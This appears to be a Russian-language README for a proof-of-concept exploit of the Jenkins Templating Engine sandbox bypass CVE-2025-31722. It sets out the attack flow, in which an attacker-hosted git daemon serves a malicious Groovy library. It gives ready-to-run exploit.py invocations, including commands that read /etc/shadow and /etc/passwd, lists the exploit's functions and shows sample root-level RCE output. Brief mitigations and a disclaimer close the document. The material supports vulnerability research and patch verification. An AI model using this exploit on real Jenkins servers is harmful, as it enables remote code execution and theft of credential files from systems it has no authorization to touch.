
Эксплойт, подтверждающий концепцию, для обхода песочницы плагина Jenkins Templating Engine (CVE-2025-31722), позволяющий удаленное выполнение кода через внедрение вредоносной библиотеки Groovy.
Только для образовательных целей и авторизованных исследований безопасности.
Уязвимость обхода песочницы в плагине Jenkins Templating Engine (JTE) <= 2.5.3, позволяющая пользователю с низкими привилегиями выполнять произвольный код на сервере Jenkins.
Ошибка возникает из-за того, что JTE загружает библиотеки из внешнего git-репозитория, заданного в конфигурации GovernanceTier на уровне папки, и выполняет шаги из этих библиотек вне песочницы Groovy, независимо от уровня привилегий пользователя, создавшего задачу.
CVSS: 8.8 (Высокий)
Тип: Обход песочницы → RCE
Затронутый компонент: плагин pipeline-templating-engine ≤ 2.5.3
Исправленная версия: 2.5.4+
Attacker (Kali) Jenkins Server
─────────────── ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins → Folder with GovernanceTier
pointing to git://KALI:9418/… pointing to attacker's repo
4. Creates job with AdHoc template → Job calls evil()
5. Triggers build → JTE clones repo from Kali
Executes evil() outside sandbox
← RCE as Jenkins user
cloudbees-folder, git, workflow-aggregatorattacker с разрешениями: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgitrequestspip install requests
Установка на сервере Debian/Ubuntu включала установку Jenkins, настройку пользователей, разрешений и необходимых плагинов. Она не создаёт никакого вредоносного содержимого — этим занимается исключительно PoC.
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
| Параметр | Описание | Обязателен |
|---|---|---|
--url | Jenkins базовый URL | Да |
--user | Пользователь с разрешениями Item/CREATE+CONFIGURE+BUILD | Да |
--pass | Пароль пользователя | Да |
--git-host | IP Kali, доступный с Jenkins | Да |
--cmd | Команда для выполнения на сервере (по умолчанию: id && hostname && cat /etc/passwd) | Нет |
--cleanup | Удаляет папку, задачу и репозиторий, созданные эксплойтом | Нет |
setup_repo() — Создает ~/jte-exploit/evil-lib/steps/evil.groovy на Kali с командой для выполненияstart_git_daemon() — Запускает git daemon на Kali на порту 9418create_folder() — Создает папку в Jenkins с GovernanceTier, указывающим на git://KALI:9418/jte-exploitcreate_job() — Создает задачу с AdHocTemplateFlowDefinition, которая объявляет evil-lib и вызывает evil()trigger_and_wait() — Запускает сборку и ожидает результатprint_output() — Отображает вывод консоли с результатом RCEGit-демон остается активным на протяжении всего цикла сборки и автоматически завершается после завершения сборки.
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE и Item/CONFIGURE только для доверенных пользователейGovernanceTier, указывающими на внешние репозиторииПравовое предупреждение: Данный PoC предназначен исключительно для образовательных целей и тестирования в контролируемых средах. Использование его против систем без явного разрешения незаконно.